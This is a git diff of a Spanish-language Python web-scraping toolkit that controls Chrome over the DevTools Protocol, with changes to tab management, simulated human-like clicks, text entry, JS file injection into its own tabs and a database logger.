chrome_args.append(f"--user-agent={user_agent}")
|
||||||
|
|
||||||
|
# Comando para iniciar Chrome
|
||||||
|
chrome_process = subprocess.Popen([chrome_path] + chrome_args)
|
||||||
|
|
||||||
|
try:
|
||||||
|
print(f"Chrome iniciado (headless={headless}). Presiona Ctrl+C para salir.")
|
||||||
|
while True:
|
||||||
|
if chrome_process.poll() is not None:
|
||||||
|
print("Chrome se ha cerrado.")
|
||||||
|
break
|
||||||
|
time.sleep(1)
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print("Terminando proceso de Chrome...")
|
||||||
|
chrome_process.terminate()
|
||||||
|
try:
|
||||||
|
chrome_process.wait(timeout=5)
|
||||||
|
except subprocess.TimeoutExpired:
|
||||||
|
chrome_process.kill()
|
||||||
|
print("Chrome cerrado correctamente.")
|
||||||
|
|
||||||
|
|
||||||
|
# Ruta al ejecutable de Chrome
|
||||||
|
chrome_path = r"C:\Program Files\Google\Chrome\Application\chrome.exe"
|
||||||
|
|
||||||
|
# Directorio para el perfil de usuario
|
||||||
|
user_data_dir = os.path.abspath("./Perfiles_usuario/chrome_profile")
|
||||||
|
|
||||||
|
# Puerto para la depuración remota
|
||||||
|
port = 9222
|
||||||
|
|
||||||
|
user_agent= "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36"
|
||||||
|
|
||||||
|
|
||||||
|
# Llama a la función con True o False
|
||||||
|
iniciar_chrome(chrome_path=chrome_path,
|
||||||
|
user_data_dir=user_data_dir,
|
||||||
|
debugging_port=port,
|
||||||
|
headless=False,
|
||||||
|
user_agent=user_agent) # Cambia a True para modo headless
|
||||||
@@ -0,0 +1,122 @@
|
|||||||
|
import asyncio
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
from src.ScrappingWeb.Navegador import Navegador
|
||||||
|
from src.ScrappingWeb.Scrapper import Scrapper
|
||||||
|
from src.ScrappingWeb.Tab import Tab
|
||||||
|
import aiohttp
|
||||||
|
import csv
|
||||||
|
|
||||||
|
|
||||||
|
async def esperar_chrome_listo(port, timeout=10):
|
||||||
|
url = f"http://127.0.0.1:{port}/json"
|
||||||
|
for _ in range(timeout * 2):
|
||||||
|
try:
|
||||||
|
async with aiohttp.ClientSession() as session:
|
||||||
|
async with session.get(url) as resp:
|
||||||
|
if resp.status == 200:
|
||||||
|
return
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
await asyncio.sleep(0.5)
|
||||||
|
raise TimeoutError(f"Chrome en puerto {port} no respondió dentro del tiempo esperado.")
|
||||||
|
|
||||||
|
chrome_path = r"C:\Program Files\Google\Chrome\Application\chrome.exe"
|
||||||
|
|
||||||
|
def sanitizar_nombre(nombre: str) -> str:
|
||||||
|
# Eliminar caracteres inválidos para nombre de archivo
|
||||||
|
return re.sub(r'[\\/*?:"<>|]', "_", nombre).strip()[:100]
|
||||||
|
|
||||||
|
|
||||||
|
async def iniciar_y_scrapear(id: int):
|
||||||
|
user_data_dir = os.path.abspath(f"./Perfiles_usuario/chrome_profile_{id}")
|
||||||
|
port = 9222 + id
|
||||||
|
navegador = Navegador(
|
||||||
|
chrome_path=chrome_path,
|
||||||
|
user_data_dir=user_data_dir,
|
||||||
|
id=id,
|
||||||
|
download_dir=os.path.join(user_data_dir, "downloads"),
|
||||||
|
debugging_port=port,
|
||||||
|
headless=False,
|
||||||
|
user_agent=f"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/{100+id}.0.0.0 Safari/537.36"
|
||||||
|
)
|
||||||
|
|
||||||
|
# Iniciar navegador en background
|
||||||
|
asyncio.create_task(navegador.iniciar())
|
||||||
|
|
||||||
|
# Esperamos a que el navegador esté listo
|
||||||
|
await esperar_chrome_listo(port)
|
||||||
|
|
||||||
|
# Conectarse con el scraper al navegador
|
||||||
|
scrapper = Scrapper(debugging_url=f"http://127.0.0.1:{port}")
|
||||||
|
tab = await scrapper.nueva_tab("", wait_time=6)
|
||||||
|
|
||||||
|
# Ejecutar acciones desde la clase Tab
|
||||||
|
ua = await tab.obtener_user_agent()
|
||||||
|
print(f"🧭 [{id}] User-Agent:", ua)
|
||||||
|
|
||||||
|
title = await tab.evaluar_js("document.title")
|
||||||
|
print(f"📄 [{id}] Título:", title)
|
||||||
|
|
||||||
|
|
||||||
|
# botones= await tab.get_elements_by_css_selector("#mw-content-text > div.mw-content-ltr.mw-parser-output > figure:nth-child(27) > a > img")
|
||||||
|
|
||||||
|
# for boton in botones:
|
||||||
|
# await boton.click()
|
||||||
|
|
||||||
|
|
||||||
|
# # Crear carpeta si no existe
|
||||||
|
# os.makedirs("wikipedia_md", exist_ok=True)
|
||||||
|
|
||||||
|
|
||||||
|
# # Guardar el HTML completo
|
||||||
|
# html = await tab.obtener_html_completo()
|
||||||
|
# with open(f"contenido.html", "w", encoding="utf-8") as f:
|
||||||
|
# f.write(html)
|
||||||
|
|
||||||
|
# # Leer enlaces del CSV
|
||||||
|
# with open("enlaces_extraidos.csv", "r", encoding="utf-8") as f:
|
||||||
|
# reader = csv.reader(f)
|
||||||
|
# next(reader) # saltar encabezados
|
||||||
|
# enlaces = list(reader)
|
||||||
|
|
||||||
|
# for texto, enlace in enlaces:
|
||||||
|
# nombre_archivo = sanitizar_nombre(texto or "sin_titulo") + ".png"
|
||||||
|
# ruta_archivo = os.path.join("wikipedia", nombre_archivo)
|
||||||
|
|
||||||
|
# try:
|
||||||
|
# print(f"🌐 Visitando: {enlace}")
|
||||||
|
# tab = await scrapper.nueva_tab(enlace, wait_time=6)
|
||||||
|
|
||||||
|
# await tab.capturar_screenshot(ruta_archivo)
|
||||||
|
# print(f"📸 Captura guardada: {ruta_archivo}")
|
||||||
|
|
||||||
|
# await tab.cerrar()
|
||||||
|
# except Exception as e:
|
||||||
|
# print(f"❌ Error con {enlace}: {e}")
|
||||||
|
|
||||||
|
|
||||||
|
# await tab.capturar_screenshot(f"screenshot_{id}.png")
|
||||||
|
|
||||||
|
# html = await tab.obtener_html_completo()
|
||||||
|
# print(html)
|
||||||
|
|
||||||
|
# with open("contenido.html", "w", encoding="utf-8") as f:
|
||||||
|
# f.write(html)
|
||||||
|
|
||||||
|
# Extraer enlaces y guardarlos en CSV
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# # # Cerrar tab y navegador si quieres
|
||||||
|
# await asyncio.sleep(10)
|
||||||
|
# await tab.cerrar()
|
||||||
|
# await navegador.cerrar()
|
||||||
|
|
||||||
|
async def main():
|
||||||
|
tareas = [iniciar_y_scrapear(i) for i in range(1)]
|
||||||
|
await asyncio.gather(*tareas)
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
asyncio.run(main())
|
||||||
@@ -11,9 +11,9 @@ class LoggerDB:
|
|||||||
_sink_removido = False # ← evita múltiples remove() si se crean varias instancias
|
_sink_removido = False # ← evita múltiples remove() si se crean varias instancias
|
||||||
|
|
||||||
def __init__(self, credencial: PostgresCredencial, nombre_tabla: str, created_by: str = None):
|
def __init__(self, credencial: PostgresCredencial, nombre_tabla: str, created_by: str = None):
|
||||||
if not LoggerDB._sink_removido:
|
|
||||||
logger.remove() # 🧹 elimina impresión en terminal
|
# 🔥 Elimina todos los sinks activos, incluso los automáticos
|
||||||
LoggerDB._sink_removido = True
|
logger.remove()
|
||||||
|
|
||||||
self.conexion = PostgresConexion(credencial)
|
self.conexion = PostgresConexion(credencial)
|
||||||
self.engine = self.conexion.get_engine()
|
self.engine = self.conexion.get_engine()
|
||||||
@@ -28,6 +28,8 @@ class LoggerDB:
|
|||||||
def _generar_modelo_logger(self):
|
def _generar_modelo_logger(self):
|
||||||
class LoggerTable(Model_base):
|
class LoggerTable(Model_base):
|
||||||
__tablename__ = self.nombre_tabla
|
__tablename__ = self.nombre_tabla
|
||||||
|
__table_args__ = {'extend_existing': True} # 👈 Esta línea evita el error
|
||||||
|
|
||||||
id = Column(Integer, primary_key=True)
|
id = Column(Integer, primary_key=True)
|
||||||
nivel = Column(String, nullable=False)
|
nivel = Column(String, nullable=False)
|
||||||
mensaje = Column(Text, nullable=False)
|
mensaje = Column(Text, nullable=False)
|
||||||
|
|||||||
+100
-26
@@ -1,54 +1,58 @@
|
|||||||
from typing import TYPE_CHECKING, Optional
|
from typing import TYPE_CHECKING, Optional
|
||||||
import random
|
import random
|
||||||
import asyncio
|
import asyncio
|
||||||
|
import json
|
||||||
|
|
||||||
|
|
||||||
if TYPE_CHECKING:
|
if TYPE_CHECKING:
|
||||||
from src.ScrappingWeb.Tab import Tab
|
from .Tab import Tab
|
||||||
|
|
||||||
class ElementoWeb:
|
class ElementoWeb:
|
||||||
def __init__(self, tab: "Tab", object_id: str):
|
def __init__(self, tab: "Tab", object_id: Optional[str]):
|
||||||
self.tab = tab
|
self.tab = tab
|
||||||
self.object_id = object_id
|
self.object_id = object_id
|
||||||
|
self._node_id = None # Lazy resolved
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def from_node(cls, tab: "Tab", node_id: int) -> "ElementoWeb":
|
||||||
|
inst = cls(tab, object_id=None)
|
||||||
|
inst._node_id = node_id
|
||||||
|
return inst
|
||||||
|
|
||||||
|
async def _asegurar_object_id(self):
|
||||||
|
if not self.object_id and self._node_id:
|
||||||
|
try:
|
||||||
|
resolved = await self.tab._enviar("DOM.resolveNode", {"nodeId": self._node_id})
|
||||||
|
self.object_id = resolved["object"]["objectId"]
|
||||||
|
except Exception as e:
|
||||||
|
print(f"⚠️ No se pudo resolver objectId desde nodeId: {e}")
|
||||||
|
|
||||||
async def scroll_into_view(self):
|
async def scroll_into_view(self):
|
||||||
try:
|
try:
|
||||||
|
await self._asegurar_object_id()
|
||||||
await self.tab._enviar("Runtime.callFunctionOn", {
|
await self.tab._enviar("Runtime.callFunctionOn", {
|
||||||
"objectId": self.object_id,
|
"objectId": self.object_id,
|
||||||
"functionDeclaration": "function() { this.scrollIntoView({block: 'center'}); }",
|
"functionDeclaration": "function() { this.scrollIntoView({block: 'center'}); }",
|
||||||
"awaitPromise": True
|
"awaitPromise": True
|
||||||
})
|
})
|
||||||
print("📜 Elemento desplazado a la vista.")
|
if self.tab.verbose:
|
||||||
|
print("📜 Elemento desplazado a la vista.")
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
print(f"⚠️ Error al hacer scroll hacia el elemento: {e}")
|
print(f"⚠️ Error al hacer scroll hacia el elemento: {e}")
|
||||||
|
|
||||||
@classmethod
|
|
||||||
def from_node(cls, tab: "Tab", node_id: int) -> "ElementoWeb":
|
|
||||||
# Creamos un objectId a partir del nodeId usando DOM.resolveNode
|
|
||||||
cls._node_id = node_id
|
|
||||||
cls._resolved_object_id = None # Lazy resolution opcional
|
|
||||||
return cls(tab, object_id=None)
|
|
||||||
|
|
||||||
async def click(self):
|
async def click(self):
|
||||||
try:
|
try:
|
||||||
await self.scroll_into_view()
|
await self.scroll_into_view()
|
||||||
|
await self._asegurar_object_id()
|
||||||
# Resolver objectId si es necesario
|
|
||||||
if not self.object_id and hasattr(self, "_node_id"):
|
|
||||||
resolved = await self.tab._enviar("DOM.resolveNode", {"nodeId": self._node_id})
|
|
||||||
self.object_id = resolved["object"]["objectId"]
|
|
||||||
|
|
||||||
if not self.object_id:
|
if not self.object_id:
|
||||||
raise ValueError("No se puede obtener objectId del elemento para hacer click.")
|
raise ValueError("No se puede obtener objectId del elemento para hacer click.")
|
||||||
|
|
||||||
# Obtener nodeId
|
# Intenta obtener coordenadas del nodo
|
||||||
node_result = await self.tab._enviar("DOM.describeNode", {
|
node_result = await self.tab._enviar("DOM.describeNode", {
|
||||||
"objectId": self.object_id
|
"objectId": self.object_id
|
||||||
})
|
})
|
||||||
|
|
||||||
node_id = node_result["node"]["nodeId"]
|
node_id = node_result["node"]["nodeId"]
|
||||||
|
|
||||||
# Obtener coordenadas con fallback
|
|
||||||
try:
|
try:
|
||||||
box_model = await self.tab._enviar("DOM.getBoxModel", {"nodeId": node_id})
|
box_model = await self.tab._enviar("DOM.getBoxModel", {"nodeId": node_id})
|
||||||
content = box_model["model"]["content"]
|
content = box_model["model"]["content"]
|
||||||
@@ -60,7 +64,12 @@ class ElementoWeb:
|
|||||||
x = (quad[0] + quad[4]) / 2
|
x = (quad[0] + quad[4]) / 2
|
||||||
y = (quad[1] + quad[5]) / 2
|
y = (quad[1] + quad[5]) / 2
|
||||||
|
|
||||||
# Simular movimiento humano del mouse
|
# 🧠 Enfocar el elemento antes de clickear
|
||||||
|
await self.tab._enviar("DOM.focus", {
|
||||||
|
"objectId": self.object_id
|
||||||
|
})
|
||||||
|
|
||||||
|
# 🎯 Movimiento humanoide opcional
|
||||||
start_x, start_y = x + random.uniform(-100, 100), y + random.uniform(-100, 100)
|
start_x, start_y = x + random.uniform(-100, 100), y + random.uniform(-100, 100)
|
||||||
steps = random.randint(5, 12)
|
steps = random.randint(5, 12)
|
||||||
for i in range(1, steps + 1):
|
for i in range(1, steps + 1):
|
||||||
@@ -73,7 +82,7 @@ class ElementoWeb:
|
|||||||
})
|
})
|
||||||
await asyncio.sleep(random.uniform(0.01, 0.05))
|
await asyncio.sleep(random.uniform(0.01, 0.05))
|
||||||
|
|
||||||
# Click humano
|
# 👆 Mouse Down
|
||||||
await self.tab._enviar("Input.dispatchMouseEvent", {
|
await self.tab._enviar("Input.dispatchMouseEvent", {
|
||||||
"type": "mousePressed",
|
"type": "mousePressed",
|
||||||
"x": x,
|
"x": x,
|
||||||
@@ -81,7 +90,10 @@ class ElementoWeb:
|
|||||||
"button": "left",
|
"button": "left",
|
||||||
"clickCount": 1
|
"clickCount": 1
|
||||||
})
|
})
|
||||||
|
|
||||||
await asyncio.sleep(random.uniform(0.05, 0.15))
|
await asyncio.sleep(random.uniform(0.05, 0.15))
|
||||||
|
|
||||||
|
# 👇 Mouse Up
|
||||||
await self.tab._enviar("Input.dispatchMouseEvent", {
|
await self.tab._enviar("Input.dispatchMouseEvent", {
|
||||||
"type": "mouseReleased",
|
"type": "mouseReleased",
|
||||||
"x": x,
|
"x": x,
|
||||||
@@ -90,27 +102,89 @@ class ElementoWeb:
|
|||||||
"clickCount": 1
|
"clickCount": 1
|
||||||
})
|
})
|
||||||
|
|
||||||
print(f"🖱️ Click humano simulado en ({x:.1f}, {y:.1f})")
|
await asyncio.sleep(random.uniform(0.01, 0.05))
|
||||||
|
|
||||||
|
# 🖱️ Click manual adicional
|
||||||
|
await self.tab._enviar("Input.dispatchMouseEvent", {
|
||||||
|
"type": "mouseClicked",
|
||||||
|
"x": x,
|
||||||
|
"y": y,
|
||||||
|
"button": "left",
|
||||||
|
"clickCount": 1
|
||||||
|
})
|
||||||
|
|
||||||
|
if self.tab.verbose:
|
||||||
|
print(f"🖱️ Click humano simulado en ({x:.1f}, {y:.1f})")
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
print(f"⚠️ Error al hacer click físico: {e}")
|
print(f"⚠️ Error al hacer click físico: {e}")
|
||||||
print("🧪 Intentando fallback con JavaScript click()...")
|
print("🧪 Intentando fallback con JavaScript click()...")
|
||||||
await self.click_js()
|
await self.click_js()
|
||||||
|
|
||||||
|
|
||||||
async def click_js(self):
|
async def click_js(self):
|
||||||
try:
|
try:
|
||||||
|
await self._asegurar_object_id()
|
||||||
|
if not self.object_id:
|
||||||
|
print("⚠️ No se puede hacer click JS: objectId no disponible.")
|
||||||
|
return
|
||||||
await self.tab._enviar("Runtime.callFunctionOn", {
|
await self.tab._enviar("Runtime.callFunctionOn", {
|
||||||
"objectId": self.object_id,
|
"objectId": self.object_id,
|
||||||
"functionDeclaration": "function() { this.click(); }",
|
"functionDeclaration": "function() { this.click(); }",
|
||||||
"awaitPromise": True
|
"awaitPromise": True
|
||||||
})
|
})
|
||||||
print("🖱️ Click simulado por JavaScript (element.click())")
|
if self.tab.verbose:
|
||||||
|
print("🖱️ Click simulado por JavaScript (element.click())")
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
print(f"⚠️ Error al ejecutar click en JS: {e}")
|
print(f"⚠️ Error al ejecutar click en JS: {e}")
|
||||||
|
|
||||||
async def obtener_texto(self) -> Optional[str]:
|
async def obtener_texto(self) -> Optional[str]:
|
||||||
return await self.tab.evaluar_js(f'document.getElementById("{self.object_id}").textContent')
|
try:
|
||||||
|
await self._asegurar_object_id()
|
||||||
|
result = await self.tab._enviar("Runtime.callFunctionOn", {
|
||||||
|
"objectId": self.object_id,
|
||||||
|
"functionDeclaration": "function() { return this.textContent; }",
|
||||||
|
"returnByValue": True
|
||||||
|
})
|
||||||
|
return result.get("result", {}).get("value")
|
||||||
|
except Exception as e:
|
||||||
|
print(f"⚠️ Error al obtener texto del elemento: {e}")
|
||||||
|
return None
|
||||||
|
|
||||||
async def escribir_texto(self, texto: str):
|
async def escribir_texto(self, texto: str):
|
||||||
await self.tab.evaluar_js(f'document.getElementById("{self.object_id}").value = "{texto}"')
|
try:
|
||||||
|
await self._asegurar_object_id()
|
||||||
|
await self.tab._enviar("Runtime.callFunctionOn", {
|
||||||
|
"objectId": self.object_id,
|
||||||
|
"functionDeclaration": f"function() {{ this.value = {json.dumps(texto)}; this.dispatchEvent(new Event('input')); }}",
|
||||||
|
"awaitPromise": True
|
||||||
|
})
|
||||||
|
if self.tab.verbose:
|
||||||
|
print(f"⌨️ Texto escrito en elemento: '{texto}'")
|
||||||
|
except Exception as e:
|
||||||
|
print(f"⚠️ Error al escribir texto: {e}")
|
||||||
|
|
||||||
|
|
||||||
|
async def encontrar_hijo_clickeable(self) -> Optional["ElementoWeb"]:
|
||||||
|
try:
|
||||||
|
await self._asegurar_object_id()
|
||||||
|
resultado = await self.tab._enviar("Runtime.callFunctionOn", {
|
||||||
|
"objectId": self.object_id,
|
||||||
|
"functionDeclaration": """
|
||||||
|
function() {
|
||||||
|
const candidatos = this.querySelectorAll("span, div, a, button");
|
||||||
|
for (const el of candidatos) {
|
||||||
|
const style = window.getComputedStyle(el);
|
||||||
|
const visible = style.display !== "none" && style.visibility !== "hidden";
|
||||||
|
const interactivo = style.pointerEvents !== "none";
|
||||||
|
if (visible && interactivo) return el;
|
||||||
|
}
|
||||||
|
return this;
|
||||||
|
}
|
||||||
|
""",
|
||||||
|
"returnByValue": False
|
||||||
|
})
|
||||||
|
if "result" in resultado and "objectId" in resultado["result"]:
|
||||||
|
return ElementoWeb(self.tab, resultado["result"]["objectId"])
|
||||||
|
except Exception as e:
|
||||||
|
print(f"⚠️ No se pudo encontrar hijo clickeable: {e}")
|
||||||
|
return None
|
||||||
@@ -87,9 +87,9 @@ class Navegador:
|
|||||||
f"--user-data-dir={self.user_data_dir}",
|
f"--user-data-dir={self.user_data_dir}",
|
||||||
"--disable-blink-features=AutomationControlled",
|
"--disable-blink-features=AutomationControlled",
|
||||||
"--no-sandbox",
|
"--no-sandbox",
|
||||||
"--disable-web-security",
|
# "--disable-web-security",
|
||||||
# "--disable-extensions",
|
# "--disable-extensions",
|
||||||
"--disable-dev-shm-usage",
|
# "--disable-dev-shm-usage",
|
||||||
"--disable-infobars",
|
"--disable-infobars",
|
||||||
"--disable-popup-blocking",
|
"--disable-popup-blocking",
|
||||||
"--disable-default-apps",
|
"--disable-default-apps",
|
||||||
|
|||||||
@@ -2,7 +2,10 @@ import aiohttp
|
|||||||
import websockets
|
import websockets
|
||||||
import json
|
import json
|
||||||
import asyncio
|
import asyncio
|
||||||
from src.ScrappingWeb.Tab import Tab
|
from .Tab import Tab
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
class Scrapper:
|
class Scrapper:
|
||||||
def __init__(self, debugging_url: str = "http://127.0.0.1:9222"):
|
def __init__(self, debugging_url: str = "http://127.0.0.1:9222"):
|
||||||
@@ -56,14 +59,80 @@ class Scrapper:
|
|||||||
|
|
||||||
raise RuntimeError("No se pudo obtener el WebSocket de la nueva pestaña")
|
raise RuntimeError("No se pudo obtener el WebSocket de la nueva pestaña")
|
||||||
|
|
||||||
async def nueva_tab(self, url: str, wait_time: float = 5.0) -> Tab:
|
async def nueva_tab(self, url: str = "", wait_time: float = 5.0) -> Tab:
|
||||||
websocket_url = await self._crear_tab_websocket_url()
|
websocket_url = await self._crear_tab_websocket_url()
|
||||||
tab = await Tab.crear_desde_websocket(websocket_url)
|
tab = await Tab.crear_desde_websocket(websocket_url)
|
||||||
self.tabs.append(tab)
|
self.tabs.append(tab)
|
||||||
await tab.navegar(url, wait_time)
|
|
||||||
|
if url:
|
||||||
|
print(f"🌍 Navegando a: {url}")
|
||||||
|
await tab.navegar(url, wait_time)
|
||||||
|
else:
|
||||||
|
print("⚠️ No se especificó URL. La pestaña se creó pero no se navegó a ninguna página.")
|
||||||
|
|
||||||
return tab
|
return tab
|
||||||
|
|
||||||
async def cerrar_todos(self):
|
async def cerrar_todos(self):
|
||||||
for tab in list(self.tabs):
|
for tab in list(self.tabs):
|
||||||
await tab.cerrar()
|
await tab.cerrar()
|
||||||
self.tabs.clear()
|
self.tabs.clear()
|
||||||
|
|
||||||
|
def get_tab(self, identifier: str) -> Optional[Tab]:
|
||||||
|
"""
|
||||||
|
Devuelve una instancia de Tab según su WebSocket URL o su ID final (extraído del WebSocket URL).
|
||||||
|
Acepta:
|
||||||
|
- ws_url completo: ws://127.0.0.1:9222/devtools/page/XYZ
|
||||||
|
- id directo: XYZ
|
||||||
|
"""
|
||||||
|
for tab in self.tabs:
|
||||||
|
# Comparar directamente contra ws_url
|
||||||
|
if tab.ws_url == identifier:
|
||||||
|
return tab
|
||||||
|
|
||||||
|
# Comparar contra el ID extraído
|
||||||
|
ws_id = tab.ws_url.rsplit("/", 1)[-1]
|
||||||
|
if ws_id == identifier:
|
||||||
|
return tab
|
||||||
|
|
||||||
|
return None
|
||||||
|
|
||||||
|
async def obtener_tabs_existentes(self) -> list[Tab]:
|
||||||
|
"""
|
||||||
|
Recupera todas las pestañas de tipo 'page' que no están ya en self.tabs,
|
||||||
|
las conecta y devuelve como lista. Muestra resumen limpio por consola.
|
||||||
|
"""
|
||||||
|
async with aiohttp.ClientSession() as session:
|
||||||
|
async with session.get(f"{self.debugging_url}/json") as resp:
|
||||||
|
if resp.status != 200:
|
||||||
|
raise RuntimeError("No se pudo obtener la lista de pestañas")
|
||||||
|
|
||||||
|
tabs_info = await resp.json()
|
||||||
|
|
||||||
|
print("\n🧾 Pestañas activas (filtradas: solo 'type': 'page'):\n")
|
||||||
|
nuevas_tabs = []
|
||||||
|
for idx, tab_info in enumerate(tabs_info, start=1):
|
||||||
|
tipo = tab_info.get("type")
|
||||||
|
if tipo != "page":
|
||||||
|
continue # Filtrar todo lo que no sea página visible
|
||||||
|
|
||||||
|
ws_url = tab_info.get("webSocketDebuggerUrl")
|
||||||
|
tab_id = tab_info.get("id")
|
||||||
|
title = tab_info.get("title", "<Sin título>")
|
||||||
|
url = tab_info.get("url", "<Sin URL>")
|
||||||
|
|
||||||
|
# Verifica si ya la tienes cargada
|
||||||
|
if any(t.ws_url == ws_url for t in self.tabs):
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Conectar
|
||||||
|
try:
|
||||||
|
tab = await Tab.crear_desde_websocket(ws_url)
|
||||||
|
self.tabs.append(tab)
|
||||||
|
nuevas_tabs.append(tab)
|
||||||
|
except Exception as e:
|
||||||
|
print(f"⚠️ No se pudo conectar a pestaña {tab_id}: {e}")
|
||||||
|
|
||||||
|
if not nuevas_tabs:
|
||||||
|
print("⚠️ No se encontraron nuevas pestañas para agregar.\n")
|
||||||
|
|
||||||
|
return nuevas_tabs
|
||||||
+74
-32
@@ -2,21 +2,29 @@ import asyncio
|
|||||||
import json
|
import json
|
||||||
import base64
|
import base64
|
||||||
import websockets
|
import websockets
|
||||||
from typing import Optional
|
from typing import Optional, List
|
||||||
from typing import List
|
from .ElementoWeb import ElementoWeb
|
||||||
from src.ScrappingWeb.ElementoWeb import ElementoWeb
|
import os
|
||||||
|
|
||||||
|
|
||||||
class Tab:
|
class Tab:
|
||||||
def __init__(self, websocket: websockets.WebSocketClientProtocol, ws_url: str):
|
def __init__(self, websocket: websockets.WebSocketClientProtocol, ws_url: str, verbose: bool = True):
|
||||||
self.websocket = websocket
|
self.websocket = websocket
|
||||||
self.ws_url = ws_url
|
self.ws_url = ws_url
|
||||||
self._message_id = 0
|
self._message_id = 0
|
||||||
self._pending = {}
|
self._pending = {}
|
||||||
self._load_event = asyncio.Event()
|
self._load_event = asyncio.Event()
|
||||||
|
self.verbose = verbose
|
||||||
|
|
||||||
|
async def __aenter__(self):
|
||||||
|
return self
|
||||||
|
|
||||||
|
async def __aexit__(self, exc_type, exc, tb):
|
||||||
|
await self.cerrar()
|
||||||
|
|
||||||
@classmethod
|
@classmethod
|
||||||
async def crear_desde_websocket(cls, ws_url: str) -> "Tab":
|
async def crear_desde_websocket(cls, ws_url: str) -> "Tab":
|
||||||
websocket = await websockets.connect(ws_url)
|
websocket = await websockets.connect(ws_url, max_size=10 * 1024 * 1024)
|
||||||
tab = cls(websocket, ws_url)
|
tab = cls(websocket, ws_url)
|
||||||
asyncio.create_task(tab._recibir_eventos())
|
asyncio.create_task(tab._recibir_eventos())
|
||||||
await tab._enviar("Page.enable")
|
await tab._enviar("Page.enable")
|
||||||
@@ -28,11 +36,14 @@ class Tab:
|
|||||||
data = json.loads(mensaje)
|
data = json.loads(mensaje)
|
||||||
if "id" in data and data["id"] in self._pending:
|
if "id" in data and data["id"] in self._pending:
|
||||||
future = self._pending.pop(data["id"])
|
future = self._pending.pop(data["id"])
|
||||||
future.set_result(data.get("result"))
|
if "result" in data:
|
||||||
|
future.set_result(data["result"])
|
||||||
|
elif "error" in data:
|
||||||
|
future.set_exception(Exception(data["error"]))
|
||||||
elif data.get("method") == "Page.loadEventFired":
|
elif data.get("method") == "Page.loadEventFired":
|
||||||
self._load_event.set()
|
self._load_event.set()
|
||||||
|
|
||||||
async def _enviar(self, metodo: str, parametros: Optional[dict] = None) -> dict:
|
async def _enviar(self, metodo: str, parametros: Optional[dict] = None, timeout: float = 10.0) -> dict:
|
||||||
self._message_id += 1
|
self._message_id += 1
|
||||||
msg_id = self._message_id
|
msg_id = self._message_id
|
||||||
mensaje = {
|
mensaje = {
|
||||||
@@ -44,15 +55,17 @@ class Tab:
|
|||||||
future = asyncio.get_event_loop().create_future()
|
future = asyncio.get_event_loop().create_future()
|
||||||
self._pending[msg_id] = future
|
self._pending[msg_id] = future
|
||||||
await self.websocket.send(json.dumps(mensaje))
|
await self.websocket.send(json.dumps(mensaje))
|
||||||
return await future
|
return await asyncio.wait_for(future, timeout=timeout)
|
||||||
|
|
||||||
async def navegar(self, url: str, wait_time: float = 5.0):
|
async def navegar(self, url: str, wait_time: float = 5.0):
|
||||||
self._load_event.clear()
|
self._load_event.clear()
|
||||||
print(f"🌍 Navegando a: {url}")
|
if self.verbose:
|
||||||
|
print(f"🌍 Navegando a: {url}")
|
||||||
await self._enviar("Page.navigate", {"url": url})
|
await self._enviar("Page.navigate", {"url": url})
|
||||||
try:
|
try:
|
||||||
await asyncio.wait_for(self._load_event.wait(), timeout=wait_time)
|
await asyncio.wait_for(self._load_event.wait(), timeout=wait_time)
|
||||||
print("✅ Página cargada correctamente.")
|
if self.verbose:
|
||||||
|
print("✅ Página cargada correctamente.")
|
||||||
except asyncio.TimeoutError:
|
except asyncio.TimeoutError:
|
||||||
print(f"⚠️ Tiempo de espera agotado ({wait_time}s) al cargar la página.")
|
print(f"⚠️ Tiempo de espera agotado ({wait_time}s) al cargar la página.")
|
||||||
|
|
||||||
@@ -62,11 +75,40 @@ class Tab:
|
|||||||
"expression": js_code,
|
"expression": js_code,
|
||||||
"returnByValue": True
|
"returnByValue": True
|
||||||
})
|
})
|
||||||
return result["result"]["value"]
|
if "exceptionDetails" in result:
|
||||||
|
raise Exception(result["exceptionDetails"])
|
||||||
|
return result.get("result", {}).get("value")
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
print(f"⚠️ Error al ejecutar JS: {e}")
|
print(f"⚠️ Error al ejecutar JS: {e}")
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
async def inyectar_archivo_js(self, ruta_archivo: str, reemplazos: dict = None) -> Optional[str]:
|
||||||
|
if not os.path.exists(ruta_archivo):
|
||||||
|
print(f"❌ Archivo JS no encontrado: {ruta_archivo}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
with open(ruta_archivo, "r", encoding="utf-8") as f:
|
||||||
|
js_code = f.read()
|
||||||
|
|
||||||
|
if reemplazos:
|
||||||
|
for key, value in reemplazos.items():
|
||||||
|
js_code = js_code.replace(f"{{{{{key}}}}}", str(value))
|
||||||
|
|
||||||
|
# 🔧 Eliminamos el `return` externo
|
||||||
|
js_code_final = f"(async () => {{\n{js_code}\n}})();"
|
||||||
|
|
||||||
|
try:
|
||||||
|
result = await self._enviar("Runtime.evaluate", {
|
||||||
|
"expression": js_code_final,
|
||||||
|
"returnByValue": True
|
||||||
|
})
|
||||||
|
if "exceptionDetails" in result:
|
||||||
|
raise Exception(result["exceptionDetails"])
|
||||||
|
return result.get("result", {}).get("value")
|
||||||
|
except Exception as e:
|
||||||
|
print(f"⚠️ Error al inyectar JS desde {ruta_archivo}: {e}")
|
||||||
|
return None
|
||||||
|
|
||||||
async def obtener_user_agent(self) -> Optional[str]:
|
async def obtener_user_agent(self) -> Optional[str]:
|
||||||
return await self.evaluar_js("navigator.userAgent")
|
return await self.evaluar_js("navigator.userAgent")
|
||||||
|
|
||||||
@@ -76,66 +118,57 @@ class Tab:
|
|||||||
data = result["data"]
|
data = result["data"]
|
||||||
with open(output_path, "wb") as f:
|
with open(output_path, "wb") as f:
|
||||||
f.write(base64.b64decode(data))
|
